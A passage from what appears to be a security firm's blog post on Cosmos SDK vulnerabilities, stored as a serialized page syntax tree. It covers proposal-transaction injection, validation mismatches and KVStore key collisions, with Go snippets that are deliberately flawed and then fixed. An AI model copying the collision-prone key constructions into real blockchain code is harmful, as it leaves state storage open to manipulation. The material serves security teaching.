proposalTxs",{"type":23,"tag":141,"props":83234,"children":83235},{"style":160},[83236],{"type":29,"value":1674},{"type":23,"tag":141,"props":83238,"children":83239},{"style":184},[83240],{"type":29,"value":76181},{"type":23,"tag":141,"props":83242,"children":83243},{"style":154},[83244],{"type":29,"value":83245},"([][]",{"type":23,"tag":141,"props":83247,"children":83248},{"style":725},[83249],{"type":29,"value":83250},"byte",{"type":23,"tag":141,"props":83252,"children":83253},{"style":154},[83254],{"type":29,"value":75103},{"type":23,"tag":141,"props":83256,"children":83257},{"style":750},[83258],{"type":29,"value":83259},"injection",{"type":23,"tag":141,"props":83261,"children":83262},{"style":154},[83263],{"type":29,"value":75122},{"type":23,"tag":141,"props":83265,"children":83266},{"style":750},[83267],{"type":29,"value":83268},"proposalTxs",{"type":23,"tag":141,"props":83270,"children":83271},{"style":160},[83272],{"type":29,"value":8269},{"type":23,"tag":141,"props":83274,"children":83275},{"style":154},[83276],{"type":29,"value":758},{"type":23,"tag":141,"props":83278,"children":83279},{"class":143,"line":2467},[83280,83285,83289,83293,83297,83301,83305,83310,83314,83319,83323,83327,83331,83335],{"type":23,"tag":141,"props":83281,"children":83282},{"style":750},[83283],{"type":29,"value":83284}," h",{"type":23,"tag":141,"props":83286,"children":83287},{"style":154},[83288],{"type":29,"value":322},{"type":23,"tag":141,"props":83290,"children":83291},{"style":750},[83292],{"type":29,"value":83036},{"type":23,"tag":141,"props":83294,"children":83295},{"style":154},[83296],{"type":29,"value":322},{"type":23,"tag":141,"props":83298,"children":83299},{"style":184},[83300],{"type":29,"value":23394},{"type":23,"tag":141,"props":83302,"children":83303},{"style":154},[83304],{"type":29,"value":192},{"type":23,"tag":141,"props":83306,"children":83307},{"style":828},[83308],{"type":29,"value":83309},"\"injected local last commit\"",{"type":23,"tag":141,"props":83311,"children":83312},{"style":154},[83313],{"type":29,"value":480},{"type":23,"tag":141,"props":83315,"children":83316},{"style":828},[83317],{"type":29,"value":83318},"\"height\"",{"type":23,"tag":141,"props":83320,"children":83321},{"style":154},[83322],{"type":29,"value":480},{"type":23,"tag":141,"props":83324,"children":83325},{"style":750},[83326],{"type":29,"value":82634},{"type":23,"tag":141,"props":83328,"children":83329},{"style":154},[83330],{"type":29,"value":322},{"type":23,"tag":141,"props":83332,"children":83333},{"style":750},[83334],{"type":29,"value":81964},{"type":23,"tag":141,"props":83336,"children":83337},{"style":154},[83338],{"type":29,"value":758},{"type":23,"tag":141,"props":83340,"children":83341},{"class":143,"line":2499},[83342],{"type":23,"tag":141,"props":83343,"children":83344},{"style":154},[83345],{"type":29,"value":2008},{"type":23,"tag":141,"props":83347,"children":83348},{"class":143,"line":2507},[83349,83353,83357,83361,83365,83369],{"type":23,"tag":141,"props":83350,"children":83351},{"style":148},[83352],{"type":29,"value":14420},{"type":23,"tag":141,"props":83354,"children":83355},{"style":160},[83356],{"type":29,"value":5815},{"type":23,"tag":141,"props":83358,"children":83359},{"style":725},[83360],{"type":29,"value":82643},{"type":23,"tag":141,"props":83362,"children":83363},{"style":154},[83364],{"type":29,"value":322},{"type":23,"tag":141,"props":83366,"children":83367},{"style":725},[83368],{"type":29,"value":82673},{"type":23,"tag":141,"props":83370,"children":83371},{"style":154},[83372],{"type":29,"value":766},{"type":23,"tag":141,"props":83374,"children":83375},{"class":143,"line":2567},[83376,83381,83385,83389],{"type":23,"tag":141,"props":83377,"children":83378},{"style":750},[83379],{"type":29,"value":83380}," Txs",{"type":23,"tag":141,"props":83382,"children":83383},{"style":154},[83384],{"type":29,"value":14008},{"type":23,"tag":141,"props":83386,"children":83387},{"style":750},[83388],{"type":29,"value":83268},{"type":23,"tag":141,"props":83390,"children":83391},{"style":154},[83392],{"type":29,"value":2168},{"type":23,"tag":141,"props":83394,"children":83395},{"class":143,"line":7724},[83396,83401],{"type":23,"tag":141,"props":83397,"children":83398},{"style":154},[83399],{"type":29,"value":83400}," }, ",{"type":23,"tag":141,"props":83402,"children":83403},{"style":449},[83404],{"type":29,"value":75127},{"type":23,"tag":141,"props":83406,"children":83407},{"class":143,"line":7742},[83408],{"type":23,"tag":141,"props":83409,"children":83410},{"style":154},[83411],{"type":29,"value":299},{"type":23,"tag":141,"props":83413,"children":83414},{"class":143,"line":7787},[83415],{"type":23,"tag":141,"props":83416,"children":83417},{"style":154},[83418],{"type":29,"value":2573},{"type":23,"tag":32,"props":83420,"children":83421},{},[83422,83424,83429,83430,83435,83437,83444],{"type":29,"value":83423},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":38,"props":83425,"children":83427},{"className":83426},[],[83428],{"type":29,"value":81793},{"type":29,"value":1220},{"type":23,"tag":38,"props":83431,"children":83433},{"className":83432},[],[83434],{"type":29,"value":81861},{"type":29,"value":83436},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":55,"props":83438,"children":83441},{"href":83439,"rel":83440},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[59],[83442],{"type":29,"value":83443},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":83445},", which will later get rejected by CometBTF.",{"type":23,"tag":24,"props":83447,"children":83449},{"id":83448},"the-keymaker",[83450],{"type":29,"value":83451},"The Keymaker",{"type":23,"tag":32,"props":83453,"children":83454},{},[83455,83457,83463,83465,83470],{"type":29,"value":83456},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":38,"props":83458,"children":83460},{"className":83459},[],[83461],{"type":29,"value":83462},"KVStore",{"type":29,"value":83464}," to handle states efficently. In ",{"type":23,"tag":38,"props":83466,"children":83468},{"className":83467},[],[83469],{"type":29,"value":83462},{"type":29,"value":83471},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":32,"props":83473,"children":83474},{},[83475],{"type":29,"value":83476},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":32,"props":83478,"children":83479},{},[83480,83482,83488],{"type":29,"value":83481},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":38,"props":83483,"children":83485},{"className":83484},[],[83486],{"type":29,"value":83487},"positionMap",{"type":29,"value":83489}," structure mentioned below into storage.",{"type":23,"tag":131,"props":83491,"children":83493},{"code":83492,"language":74649,"meta":7,"className":74650,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[83494],{"type":23,"tag":38,"props":83495,"children":83496},{"__ignoreMap":7},[83497,83513,83530,83546,83565,83580,83587,83604],{"type":23,"tag":141,"props":83498,"children":83499},{"class":143,"line":144},[83500,83504,83509],{"type":23,"tag":141,"props":83501,"children":83502},{"style":449},[83503],{"type":29,"value":31225},{"type":23,"tag":141,"props":83505,"children":83506},{"style":725},[83507],{"type":29,"value":83508}," VaultId",{"type":23,"tag":141,"props":83510,"children":83511},{"style":725},[83512],{"type":29,"value":74687},{"type":23,"tag":141,"props":83514,"children":83515},{"class":143,"line":180},[83516,83520,83525],{"type":23,"tag":141,"props":83517,"children":83518},{"style":449},[83519],{"type":29,"value":31225},{"type":23,"tag":141,"props":83521,"children":83522},{"style":725},[83523],{"type":29,"value":83524}," Username",{"type":23,"tag":141,"props":83526,"children":83527},{"style":725},[83528],{"type":29,"value":83529}," string\n",{"type":23,"tag":141,"props":83531,"children":83532},{"class":143,"line":205},[83533,83537,83542],{"type":23,"tag":141,"props":83534,"children":83535},{"style":449},[83536],{"type":29,"value":31225},{"type":23,"tag":141,"props":83538,"children":83539},{"style":725},[83540],{"type":29,"value":83541}," PositionName",{"type":23,"tag":141,"props":83543,"children":83544},{"style":725},[83545],{"type":29,"value":83529},{"type":23,"tag":141,"props":83547,"children":83548},{"class":143,"line":218},[83549,83553,83557,83561],{"type":23,"tag":141,"props":83550,"children":83551},{"style":449},[83552],{"type":29,"value":31225},{"type":23,"tag":141,"props":83554,"children":83555},{"style":725},[83556],{"type":29,"value":6099},{"type":23,"tag":141,"props":83558,"children":83559},{"style":449},[83560],{"type":29,"value":19823},{"type":23,"tag":141,"props":83562,"children":83563},{"style":154},[83564],{"type":29,"value":1951},{"type":23,"tag":141,"props":83566,"children":83567},{"class":143,"line":227},[83568,83572,83576],{"type":23,"tag":141,"props":83569,"children":83570},{"style":750},[83571],{"type":29,"value":41705},{"type":23,"tag":141,"props":83573,"children":83574},{"style":154},[83575],{"type":29,"value":74712},{"type":23,"tag":141,"props":83577,"children":83578},{"style":725},[83579],{"type":29,"value":82713},{"type":23,"tag":141,"props":83581,"children":83582},{"class":143,"line":241},[83583],{"type":23,"tag":141,"props":83584,"children":83585},{"style":154},[83586],{"type":29,"value":2573},{"type":23,"tag":141,"props":83588,"children":83589},{"class":143,"line":262},[83590,83594,83599],{"type":23,"tag":141,"props":83591,"children":83592},{"style":449},[83593],{"type":29,"value":31225},{"type":23,"tag":141,"props":83595,"children":83596},{"style":725},[83597],{"type":29,"value":83598}," PositionMap",{"type":23,"tag":141,"props":83600,"children":83601},{"style":160},[83602],{"type":29,"value":83603}," :=\n",{"type":23,"tag":141,"props":83605,"children":83606},{"class":143,"line":271},[83607,83612,83616,83621,83625,83629,83633,83638,83642,83646,83650,83655,83659],{"type":23,"tag":141,"props":83608,"children":83609},{"style":449},[83610],{"type":29,"value":83611}," map",{"type":23,"tag":141,"props":83613,"children":83614},{"style":154},[83615],{"type":29,"value":2399},{"type":23,"tag":141,"props":83617,"children":83618},{"style":725},[83619],{"type":29,"value":83620},"VaultId",{"type":23,"tag":141,"props":83622,"children":83623},{"style":154},[83624],{"type":29,"value":14088},{"type":23,"tag":141,"props":83626,"children":83627},{"style":449},[83628],{"type":29,"value":65584},{"type":23,"tag":141,"props":83630,"children":83631},{"style":154},[83632],{"type":29,"value":2399},{"type":23,"tag":141,"props":83634,"children":83635},{"style":725},[83636],{"type":29,"value":83637},"Username",{"type":23,"tag":141,"props":83639,"children":83640},{"style":154},[83641],{"type":29,"value":14088},{"type":23,"tag":141,"props":83643,"children":83644},{"style":449},[83645],{"type":29,"value":65584},{"type":23,"tag":141,"props":83647,"children":83648},{"style":154},[83649],{"type":29,"value":2399},{"type":23,"tag":141,"props":83651,"children":83652},{"style":725},[83653],{"type":29,"value":83654},"PositionName",{"type":23,"tag":141,"props":83656,"children":83657},{"style":154},[83658],{"type":29,"value":14088},{"type":23,"tag":141,"props":83660,"children":83661},{"style":725},[83662],{"type":29,"value":83663},"Position\n",{"type":23,"tag":32,"props":83665,"children":83666},{},[83667,83669,83675],{"type":29,"value":83668},"Given that there are two levels of keys in ",{"type":23,"tag":38,"props":83670,"children":83672},{"className":83671},[],[83673],{"type":29,"value":83674},"PositionMap",{"type":29,"value":83676},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":131,"props":83678,"children":83680},{"code":83679,"language":74649,"meta":7,"className":74650,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[83681],{"type":23,"tag":38,"props":83682,"children":83683},{"__ignoreMap":7},[83684,83713,83725,83737,83749,83761],{"type":23,"tag":141,"props":83685,"children":83686},{"class":143,"line":144},[83687,83692,83696,83700,83704,83709],{"type":23,"tag":141,"props":83688,"children":83689},{"style":750},[83690],{"type":29,"value":83691},"storageKey",{"type":23,"tag":141,"props":83693,"children":83694},{"style":160},[83695],{"type":29,"value":74901},{"type":23,"tag":141,"props":83697,"children":83698},{"style":750},[83699],{"type":29,"value":80719},{"type":23,"tag":141,"props":83701,"children":83702},{"style":154},[83703],{"type":29,"value":322},{"type":23,"tag":141,"props":83705,"children":83706},{"style":184},[83707],{"type":29,"value":83708},"Sprintf",{"type":23,"tag":141,"props":83710,"children":83711},{"style":154},[83712],{"type":29,"value":2123},{"type":23,"tag":141,"props":83714,"children":83715},{"class":143,"line":180},[83716,83721],{"type":23,"tag":141,"props":83717,"children":83718},{"style":828},[83719],{"type":29,"value":83720}," \"%d%s%s\"",{"type":23,"tag":141,"props":83722,"children":83723},{"style":154},[83724],{"type":29,"value":2168},{"type":23,"tag":141,"props":83726,"children":83727},{"class":143,"line":205},[83728,83733],{"type":23,"tag":141,"props":83729,"children":83730},{"style":750},[83731],{"type":29,"value":83732}," vaultId",{"type":23,"tag":141,"props":83734,"children":83735},{"style":154},[83736],{"type":29,"value":2168},{"type":23,"tag":141,"props":83738,"children":83739},{"class":143,"line":218},[83740,83745],{"type":23,"tag":141,"props":83741,"children":83742},{"style":750},[83743],{"type":29,"value":83744}," username",{"type":23,"tag":141,"props":83746,"children":83747},{"style":154},[83748],{"type":29,"value":2168},{"type":23,"tag":141,"props":83750,"children":83751},{"class":143,"line":227},[83752,83757],{"type":23,"tag":141,"props":83753,"children":83754},{"style":750},[83755],{"type":29,"value":83756}," positionName",{"type":23,"tag":141,"props":83758,"children":83759},{"style":154},[83760],{"type":29,"value":2168},{"type":23,"tag":141,"props":83762,"children":83763},{"class":143,"line":241},[83764],{"type":23,"tag":141,"props":83765,"children":83766},{"style":154},[83767],{"type":29,"value":758},{"type":23,"tag":32,"props":83769,"children":83770},{},[83771],{"type":29,"value":83772},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":131,"props":83774,"children":83776},{"code":83775},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[83777],{"type":23,"tag":38,"props":83778,"children":83779},{"__ignoreMap":7},[83780],{"type":29,"value":83775},{"type":23,"tag":32,"props":83782,"children":83783},{},[83784,83789],{"type":23,"tag":47,"props":83785,"children":83786},{},[83787],{"type":29,"value":83788},"So, how can we mitigate this issue?",{"type":29,"value":83790},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":131,"props":83792,"children":83794},{"code":83793,"language":74649,"meta":7,"className":74650,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[83795],{"type":23,"tag":38,"props":83796,"children":83797},{"__ignoreMap":7},[83798,83809,83826,83833,83840,83867,83879,83890,83901,83912,83923,83934],{"type":23,"tag":141,"props":83799,"children":83800},{"class":143,"line":144},[83801,83805],{"type":23,"tag":141,"props":83802,"children":83803},{"style":449},[83804],{"type":29,"value":8334},{"type":23,"tag":141,"props":83806,"children":83807},{"style":154},[83808],{"type":29,"value":77051},{"type":23,"tag":141,"props":83810,"children":83811},{"class":143,"line":180},[83812,83817,83821],{"type":23,"tag":141,"props":83813,"children":83814},{"style":750},[83815],{"type":29,"value":83816}," Seperator",{"type":23,"tag":141,"props":83818,"children":83819},{"style":160},[83820],{"type":29,"value":1674},{"type":23,"tag":141,"props":83822,"children":83823},{"style":828},[83824],{"type":29,"value":83825}," \"|\"\n",{"type":23,"tag":141,"props":83827,"children":83828},{"class":143,"line":205},[83829],{"type":23,"tag":141,"props":83830,"children":83831},{"style":154},[83832],{"type":29,"value":758},{"type":23,"tag":141,"props":83834,"children":83835},{"class":143,"line":218},[83836],{"type":23,"tag":141,"props":83837,"children":83838},{"emptyLinePlaceholder":15},[83839],{"type":29,"value":719},{"type":23,"tag":141,"props":83841,"children":83842},{"class":143,"line":227},[83843,83847,83851,83855,83859,83863],{"type":23,"tag":141,"props":83844,"children":83845},{"style":750},[83846],{"type":29,"value":83691},{"type":23,"tag":141,"props":83848,"children":83849},{"style":160},[83850],{"type":29,"value":74901},{"type":23,"tag":141,"props":83852,"children":83853},{"style":750},[83854],{"type":29,"value":80719},{"type":23,"tag":141,"props":83856,"children":83857},{"style":154},[83858],{"type":29,"value":322},{"type":23,"tag":141,"props":83860,"children":83861},{"style":184},[83862],{"type":29,"value":83708},{"type":23,"tag":141,"props":83864,"children":83865},{"style":154},[83866],{"type":29,"value":2123},{"type":23,"tag":141,"props":83868,"children":83869},{"class":143,"line":241},[83870,83875],{"type":23,"tag":141,"props":83871,"children":83872},{"style":828},[83873],{"type":29,"value":83874}," \"%d%s%s%s%s\"",{"type":23,"tag":141,"props":83876,"children":83877},{"style":154},[83878],{"type":29,"value":2168},{"type":23,"tag":141,"props":83880,"children":83881},{"class":143,"line":262},[83882,83886],{"type":23,"tag":141,"props":83883,"children":83884},{"style":750},[83885],{"type":29,"value":83732},{"type":23,"tag":141,"props":83887,"children":83888},{"style":154},[83889],{"type":29,"value":2168},{"type":23,"tag":141,"props":83891,"children":83892},{"class":143,"line":271},[83893,83897],{"type":23,"tag":141,"props":83894,"children":83895},{"style":750},[83896],{"type":29,"value":83816},{"type":23,"tag":141,"props":83898,"children":83899},{"style":154},[83900],{"type":29,"value":2168},{"type":23,"tag":141,"props":83902,"children":83903},{"class":143,"line":293},[83904,83908],{"type":23,"tag":141,"props":83905,"children":83906},{"style":750},[83907],{"type":29,"value":83744},{"type":23,"tag":141,"props":83909,"children":83910},{"style":154},[83911],{"type":29,"value":2168},{"type":23,"tag":141,"props":83913,"children":83914},{"class":143,"line":801},[83915,83919],{"type":23,"tag":141,"props":83916,"children":83917},{"style":750},[83918],{"type":29,"value":83816},{"type":23,"tag":141,"props":83920,"children":83921},{"style":154},[83922],{"type":29,"value":2168},{"type":23,"tag":141,"props":83924,"children":83925},{"class":143,"line":810},[83926,83930],{"type":23,"tag":141,"props":83927,"children":83928},{"style":750},[83929],{"type":29,"value":83756},{"type":23,"tag":141,"props":83931,"children":83932},{"style":154},[83933],{"type":29,"value":2168},{"type":23,"tag":141,"props":83935,"children":83936},{"class":143,"line":824},[83937],{"type":23,"tag":141,"props":83938,"children":83939},{"style":154},[83940],{"type":29,"value":758},{"type":23,"tag":32,"props":83942,"children":83943},{},[83944],{"type":29,"value":83945},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":32,"props":83947,"children":83948},{},[83949,83951,83957,83958,83964],{"type":29,"value":83950},"Sadly, it doesn't. Since the ",{"type":23,"tag":38,"props":83952,"children":83954},{"className":83953},[],[83955],{"type":29,"value":83956},"username",{"type":29,"value":313},{"type":23,"tag":38,"props":83959,"children":83961},{"className":83960},[],[83962],{"type":29,"value":83963},"vaultName",{"type":29,"value":83965}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":131,"props":83967,"children":83969},{"code":83968},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[83970],{"type":23,"tag":38,"props":83971,"children":83972},{"__ignoreMap":7},[83973],{"type":29,"value":83968},{"type":23,"tag":32,"props":83975,"children":83976},{},[83977],{"type":29,"value":83978},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":131,"props":83980,"children":83982},{"code":83981,"language":74649,"meta":7,"className":74650,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[83983],{"type":23,"tag":38,"props":83984,"children":83985},{"__ignoreMap":7},[83986,83997,84012,84019,84026,84033,84054,84070,84108,84115,84152,84159,84179,84194,84230,84237,84272,84279,84306,84317,84328,84339,84351,84362,84370],{"type":23,"tag":141,"props":83987,"children":83988},{"class":143,"line":144},[83989,83993],{"type":23,"tag":141,"props":83990,"children":83991},{"style":449},[83992],{"type":29,"value":8334},{"type":23,"tag":141,"props":83994,"children":83995},{"style":154},[83996],{"type":29,"value":77051},{"type":23,"tag":141,"props":83998,"children":83999},{"class":143,"line":180},[84000,84004,84008],{"type":23,"tag":141,"props":84001,"children":84002},{"style":750},[84003],{"type":29,"value":83816},{"type":23,"tag":141,"props":84005,"children":84006},{"style":160},[84007],{"type":29,"value":1674},{"type":23,"tag":141,"props":84009,"children":84010},{"style":828},[84011],{"type":29,"value":83825},{"type":23,"tag":141,"props":84013,"children":84014},{"class":143,"line":205},[84015],{"type":23,"tag":141,"props":84016,"children":84017},{"style":154},[84018],{"type":29,"value":758},{"type":23,"tag":141,"props":84020,"children":84021},{"class":143,"line":218},[84022],{"type":23,"tag":141,"props":84023,"children":84024},{"emptyLinePlaceholder":15},[84025],{"type":29,"value":719},{"type":23,"tag":141,"props":84027,"children":84028},{"class":143,"line":227},[84029],{"type":23,"tag":141,"props":84030,"children":84031},{"emptyLinePlaceholder":15},[84032],{"type":29,"value":719},{"type":23,"tag":141,"props":84034,"children":84035},{"class":143,"line":241},[84036,84041,84045,84050],{"type":23,"tag":141,"props":84037,"children":84038},{"style":750},[84039],{"type":29,"value":84040},"usernameEncoded",{"type":23,"tag":141,"props":84042,"children":84043},{"style":160},[84044],{"type":29,"value":74901},{"type":23,"tag":141,"props":84046,"children":84047},{"style":184},[84048],{"type":29,"value":84049}," make",{"type":23,"tag":141,"props":84051,"children":84052},{"style":154},[84053],{"type":29,"value":2123},{"type":23,"tag":141,"props":84055,"children":84056},{"class":143,"line":262},[84057,84062,84066],{"type":23,"tag":141,"props":84058,"children":84059},{"style":154},[84060],{"type":29,"value":84061}," []",{"type":23,"tag":141,"props":84063,"children":84064},{"style":725},[84065],{"type":29,"value":83250},{"type":23,"tag":141,"props":84067,"children":84068},{"style":154},[84069],{"type":29,"value":2168},{"type":23,"tag":141,"props":84071,"children":84072},{"class":143,"line":271},[84073,84078,84082,84087,84091,84095,84099,84103],{"type":23,"tag":141,"props":84074,"children":84075},{"style":750},[84076],{"type":29,"value":84077}," hex",{"type":23,"tag":141,"props":84079,"children":84080},{"style":154},[84081],{"type":29,"value":322},{"type":23,"tag":141,"props":84083,"children":84084},{"style":184},[84085],{"type":29,"value":84086},"EncodedLen",{"type":23,"tag":141,"props":84088,"children":84089},{"style":154},[84090],{"type":29,"value":192},{"type":23,"tag":141,"props":84092,"children":84093},{"style":184},[84094],{"type":29,"value":7817},{"type":23,"tag":141,"props":84096,"children":84097},{"style":154},[84098],{"type":29,"value":192},{"type":23,"tag":141,"props":84100,"children":84101},{"style":750},[84102],{"type":29,"value":83956},{"type":23,"tag":141,"props":84104,"children":84105},{"style":154},[84106],{"type":29,"value":84107},")),\n",{"type":23,"tag":141,"props":84109,"children":84110},{"class":143,"line":293},[84111],{"type":23,"tag":141,"props":84112,"children":84113},{"style":154},[84114],{"type":29,"value":758},{"type":23,"tag":141,"props":84116,"children":84117},{"class":143,"line":801},[84118,84123,84127,84132,84136,84140,84144,84148],{"type":23,"tag":141,"props":84119,"children":84120},{"style":750},[84121],{"type":29,"value":84122},"hex",{"type":23,"tag":141,"props":84124,"children":84125},{"style":154},[84126],{"type":29,"value":322},{"type":23,"tag":141,"props":84128,"children":84129},{"style":184},[84130],{"type":29,"value":84131},"Encode",{"type":23,"tag":141,"props":84133,"children":84134},{"style":154},[84135],{"type":29,"value":192},{"type":23,"tag":141,"props":84137,"children":84138},{"style":750},[84139],{"type":29,"value":84040},{"type":23,"tag":141,"props":84141,"children":84142},{"style":154},[84143],{"type":29,"value":480},{"type":23,"tag":141,"props":84145,"children":84146},{"style":750},[84147],{"type":29,"value":83956},{"type":23,"tag":141,"props":84149,"children":84150},{"style":154},[84151],{"type":29,"value":758},{"type":23,"tag":141,"props":84153,"children":84154},{"class":143,"line":810},[84155],{"type":23,"tag":141,"props":84156,"children":84157},{"emptyLinePlaceholder":15},[84158],{"type":29,"value":719},{"type":23,"tag":141,"props":84160,"children":84161},{"class":143,"line":824},[84162,84167,84171,84175],{"type":23,"tag":141,"props":84163,"children":84164},{"style":750},[84165],{"type":29,"value":84166},"positionNameEncoded",{"type":23,"tag":141,"props":84168,"children":84169},{"style":160},[84170],{"type":29,"value":74901},{"type":23,"tag":141,"props":84172,"children":84173},{"style":184},[84174],{"type":29,"value":84049},{"type":23,"tag":141,"props":84176,"children":84177},{"style":154},[84178],{"type":29,"value":2123},{"type":23,"tag":141,"props":84180,"children":84181},{"class":143,"line":839},[84182,84186,84190],{"type":23,"tag":141,"props":84183,"children":84184},{"style":154},[84185],{"type":29,"value":84061},{"type":23,"tag":141,"props":84187,"children":84188},{"style":725},[84189],{"type":29,"value":83250},{"type":23,"tag":141,"props":84191,"children":84192},{"style":154},[84193],{"type":29,"value":2168},{"type":23,"tag":141,"props":84195,"children":84196},{"class":143,"line":848},[84197,84201,84205,84209,84213,84217,84221,84226],{"type":23,"tag":141,"props":84198,"children":84199},{"style":750},[84200],{"type":29,"value":84077},{"type":23,"tag":141,"props":84202,"children":84203},{"style":154},[84204],{"type":29,"value":322},{"type":23,"tag":141,"props":84206,"children":84207},{"style":184},[84208],{"type":29,"value":84086},{"type":23,"tag":141,"props":84210,"children":84211},{"style":154},[84212],{"type":29,"value":192},{"type":23,"tag":141,"props":84214,"children":84215},{"style":184},[84216],{"type":29,"value":7817},{"type":23,"tag":141,"props":84218,"children":84219},{"style":154},[84220],{"type":29,"value":192},{"type":23,"tag":141,"props":84222,"children":84223},{"style":750},[84224],{"type":29,"value":84225},"positionName",{"type":23,"tag":141,"props":84227,"children":84228},{"style":154},[84229],{"type":29,"value":84107},{"type":23,"tag":141,"props":84231,"children":84232},{"class":143,"line":2304},[84233],{"type":23,"tag":141,"props":84234,"children":84235},{"style":154},[84236],{"type":29,"value":758},{"type":23,"tag":141,"props":84238,"children":84239},{"class":143,"line":2313},[84240,84244,84248,84252,84256,84260,84264,84268],{"type":23,"tag":141,"props":84241,"children":84242},{"style":750},[84243],{"type":29,"value":84122},{"type":23,"tag":141,"props":84245,"children":84246},{"style":154},[84247],{"type":29,"value":322},{"type":23,"tag":141,"props":84249,"children":84250},{"style":184},[84251],{"type":29,"value":84131},{"type":23,"tag":141,"props":84253,"children":84254},{"style":154},[84255],{"type":29,"value":192},{"type":23,"tag":141,"props":84257,"children":84258},{"style":750},[84259],{"type":29,"value":84166},{"type":23,"tag":141,"props":84261,"children":84262},{"style":154},[84263],{"type":29,"value":480},{"type":23,"tag":141,"props":84265,"children":84266},{"style":750},[84267],{"type":29,"value":84225},{"type":23,"tag":141,"props":84269,"children":84270},{"style":154},[84271],{"type":29,"value":758},{"type":23,"tag":141,"props":84273,"children":84274},{"class":143,"line":2335},[84275],{"type":23,"tag":141,"props":84276,"children":84277},{"emptyLinePlaceholder":15},[84278],{"type":29,"value":719},{"type":23,"tag":141,"props":84280,"children":84281},{"class":143,"line":2343},[84282,84286,84290,84294,84298,84302],{"type":23,"tag":141,"props":84283,"children":84284},{"style":750},[84285],{"type":29,"value":83691},{"type":23,"tag":141,"props":84287,"children":84288},{"style":160},[84289],{"type":29,"value":74901},{"type":23,"tag":141,"props":84291,"children":84292},{"style":750},[84293],{"type":29,"value":80719},{"type":23,"tag":141,"props":84295,"children":84296},{"style":154},[84297],{"type":29,"value":322},{"type":23,"tag":141,"props":84299,"children":84300},{"style":184},[84301],{"type":29,"value":83708},{"type":23,"tag":141,"props":84303,"children":84304},{"style":154},[84305],{"type":29,"value":2123},{"type":23,"tag":141,"props":84307,"children":84308},{"class":143,"line":2352},[84309,84313],{"type":23,"tag":141,"props":84310,"children":84311},{"style":828},[84312],{"type":29,"value":83874},{"type":23,"tag":141,"props":84314,"children":84315},{"style":154},[84316],{"type":29,"value":2168},{"type":23,"tag":141,"props":84318,"children":84319},{"class":143,"line":2421},[84320,84324],{"type":23,"tag":141,"props":84321,"children":84322},{"style":750},[84323],{"type":29,"value":83732},{"type":23,"tag":141,"props":84325,"children":84326},{"style":154},[84327],{"type":29,"value":2168},{"type":23,"tag":141,"props":84329,"children":84330},{"class":143,"line":2429},[84331,84335],{"type":23,"tag":141,"props":84332,"children":84333},{"style":750},[84334],{"type":29,"value":83816},{"type":23,"tag":141,"props":84336,"children":84337},{"style":154},[84338],{"type":29,"value":2168},{"type":23,"tag":141,"props":84340,"children":84341},{"class":143,"line":2459},[84342,84347],{"type":23,"tag":141,"props":84343,"children":84344},{"style":750},[84345],{"type":29,"value":84346}," usernameEncoded",{"type":23,"tag":141,"props":84348,"children":84349},{"style":154},[84350],{"type":29,"value":2168},{"type":23,"tag":141,"props":84352,"children":84353},{"class":143,"line":2467},[84354,84358],{"type":23,"tag":141,"props":84355,"children":84356},{"style":750},[84357],{"type":29,"value":83816},{"type":23,"tag":141,"props":84359,"children":84360},{"style":154},[84361],{"type":29,"value":2168},{"type":23,"tag":141,"props":84363,"children":84364},{"class":143,"line":2499},[84365],{"type":23,"tag":141,"props":84366,"children":84367},{"style":750},[84368],{"type":29,"value":84369}," positionNameEncoded\n",{"type":23,"tag":141,"props":84371,"children":84372},{"class":143,"line":2507},[84373],{"type":23,"tag":141,"props":84374,"children":84375},{"style":154},[84376],{"type":29,"value":758},{"type":23,"tag":32,"props":84378,"children":84379},{},[84380,84382,84387],{"type":29,"value":84381},"We did it. We finally eliminated all potential ",{"type":23,"tag":38,"props":84383,"children":84385},{"className":84384},[],[84386],{"type":29,"value":83691},{"type":29,"value":84388}," collisions.",{"type":23,"tag":32,"props":84390,"children":84391},{},[84392],{"type":29,"value":84393},"Until 